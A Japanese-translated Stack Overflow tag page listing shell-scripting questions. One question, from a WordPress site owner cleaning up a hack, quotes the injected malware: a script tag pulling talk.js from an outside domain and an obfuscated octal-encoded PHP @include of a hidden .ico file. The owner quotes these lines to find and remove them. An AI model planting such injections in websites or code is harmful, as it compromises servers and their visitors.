タグ付けされた質問 「shell」

「シェル」という用語は、UnixおよびLinuxオペレーティングシステムに最も頻繁に関連付けられている、テキストベースの対話型コマンドインタープリターの一般的なクラスを指します。シェルスクリプトに関する質問については、「bash」、「powershell」、「ksh」などのより具体的なタグを使用してください。特定のタグがない場合は、ポータブル(POSIX準拠)ソリューションを想定する必要がありますが、「posix」を追加するか、代わりに「sh」を使用することをお勧めします。

11
シェルスクリプトデーモンを作成する最良の方法は?
shだけを使用して何かを待機するデーモンを作成するより良い方法があるかどうか疑問に思っています: #! /bin/sh trap processUserSig SIGUSR1 processUserSig() { echo "doing stuff" } while true; do sleep 1000 done 特に、ループを取り除き、それでも信号をリッスンさせる方法があるかどうか疑問に思っています。
81 bash  shell  daemon 



4
Vim挿入モードの場合、ファイルパスのオートコンプリートを追加する方法はありますか?
私はたくさんのシェルスクリプトを書いていますが、常にファイルパスを入力する必要があります。お気に入りのシェルにいるときにタブでディレクトリまたはファイルのパスを完成させるのと同じように、挿入モードでVimにファイルパスをオートコンプリートさせる方法を誰かが知っているかどうか疑問に思っています。 CTRLDシェルの機能をVim挿入モードにすることができる場合(つまり、現在のパスにあるファイル/ディレクトリを確認するため)、追加のクレジット。

11
WAMPServerのWindowsコマンドラインからPHPを実行する方法
私はphpを初めて使用し、コマンドラインからphpを実行したいと考えていました。WAMPをインストールし、「システム変数」をphpフォルダー(C:\wamp\bin\php\php5.4.3)に設定しました。 私が行くとRun- > CMD- >タイプphp -aとヒットを入力し、それが言いますinteractive mode enabled。しかし、私が書いecho 'Hi';たとき、それは何も示していません。 php -a入力してEnterキーを押すと、「php>」のようなものも表示されません。




4
grepの結果をシェル変数に割り当てた後に改行が失われる
#!/usr/local/bin/bash out=`grep apache README` echo $out; 通常、grepは、コマンドラインで実行すると、各一致を別々の行に表示します。ただし、上記のスクリプトでは、各一致を区切る改行は表示されません。改行を保存する方法を知っている人はいますか?
80 shell 

8
シェルコマンドを使用してmysqlデータベースを削除する方法
私はパイロンとsqlalchemyを使用しています。私は常にスキーマファイルを更新し、データベースを削除して再作成し、新しいスキーマを作成できるようにしています。 MySqlクエリブラウザを開いてこれを行うたびに、データベース/スキーマにログインして削除します。 UbuntuLinuxでMySQLdb / schemaをLinuxシェルコマンドで削除するにはどうすればよいですか?

7
sedまたはおそらくgrepを使用して文字列全体を置き換える方法
サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 私は使用してgrepでそれを検索しました grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。 そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。 @Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。 @slyblotyの解決策は簡単で、うまくいきましたが。 影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには find . -type f …
10 bash  shell  sed  grep 

3
NON GNU awkを使用して変更を適切に保存する
OPが編集を行ってInput_file(s)自体に操作を保存する必要があるという質問(SO自体)に遭遇しました。 1つのInput_fileについて、次のことを実行できます。 awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file ここで、同じ種類のファイル形式(ここでは.txtと仮定)で変更を加える必要があるとしましょう。 この問題に対して私が試した/考えたこと:そのアプローチは.txtファイルのforループを通過し、singleを呼び出すのawkは面倒でお勧めできないプロセスです。不要なCPUサイクルを無駄にし、ファイルの数が増えると、それが増えるためです。スロー。 したがって、awkインプレースオプションをサポートしないNON GNU で複数のファイルのインプレース編集を実行するために、ここで何ができるか。私もこのスレッドを通過しましたawkを使用して変更を保存しますがawk、非GNU awkにはinplaceオプションがないため、NON GNU awkを使用して複数のファイルを変更することはできません。 注:なぜ私がbashタグを追加しているのか、回答の部分では一時ファイルの名前を実際のInput_fileに変更するためにbashコマンドを使用したので、追加します。 編集:ここにサンプルの例を追加するEd sirのコメントによると、このスレッドのコードの目的は、汎用のインプレース編集でも使用できます。 入力ファイルのサンプル: cat test1.txt onetwo three tets testtest cat test2.txt onetwo three tets testtest cat test3.txt onetwo three tets testtest 予想される出力の例: cat test1.txt 1 …

3
TkinterでIDLEのような小さなPython Shellを作成するにはどうすればよいですか?
私はPython Shell GUIで制御されるものを作ろうとしています。 唯一のことは、その入出力全体をどのように作成するかわかりません。入力を入力し、pythonコマンドを実行して、pythonコマンドの出力を出力できるようにしたいだけです。IDLEはTkinterで作成されているので、ウィジェットを使用しますか? それは文字通り単なる「タイプ入力、表示出力」のことです。 私はそれを検索してみましたが、結果のほとんどはコマンドラインで行うようであり、これは私が探しているものではありません。私とまったく同じような他の唯一の質問も、私が考えていたものではありませんでした。また、IDLEのソースコードを調べてみましたが、探していたものが見つかりませんでした。 Linuxで機能する回答をいくつか見つけましたが、Windows 10を使用しています... 画面の片側にコマンド出力に接続されている何かがあるので、Tkinterにある「シェル」が必要です。 非常にシンプルなPythonシェルを作成するために使用されるウィジェットを知っている人はいますか?

2
Runtime.getRuntimeを使用してAndroidでシェルコマンドを実行する
私はデバイス管理アプリに取り組んでいます(製造元によって署名されています)。私はそれを使用して、以下のAndroid 9のadb shellコマンドを使用して他のアプリをインストールします:- cat /sdcard/Download/myfolder/newapp.apk | pm install -S 1528293 そして私はこのようにそれを渡しているだけです- String command = "cat /sdcard/Download/myfolder/newapp.apk | pm install -S 1528293" Runtime.getRuntime().exec(command); しかし、「cat unknown option S」というエラーが表示されます。 同じコマンドをadbシェルから実行すると、まったく問題なく動作します。私が何を間違っているのかわからないので、助けを借りてください。 編集1:-私は以下のようなコマンドを実行してみました:- String[] commandInstall = { "/system/bin/sh", "-c", "cat /sdcard/Download/myfolder/newapp.apk | pm install -S 1528293" }; Process process = Runtime.getRuntime().exec(commandInstall); しかし、今私はエラーを受け取ります:- ava.lang.SecurityException: Reverse mode …
8 java  android  shell  adb 
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.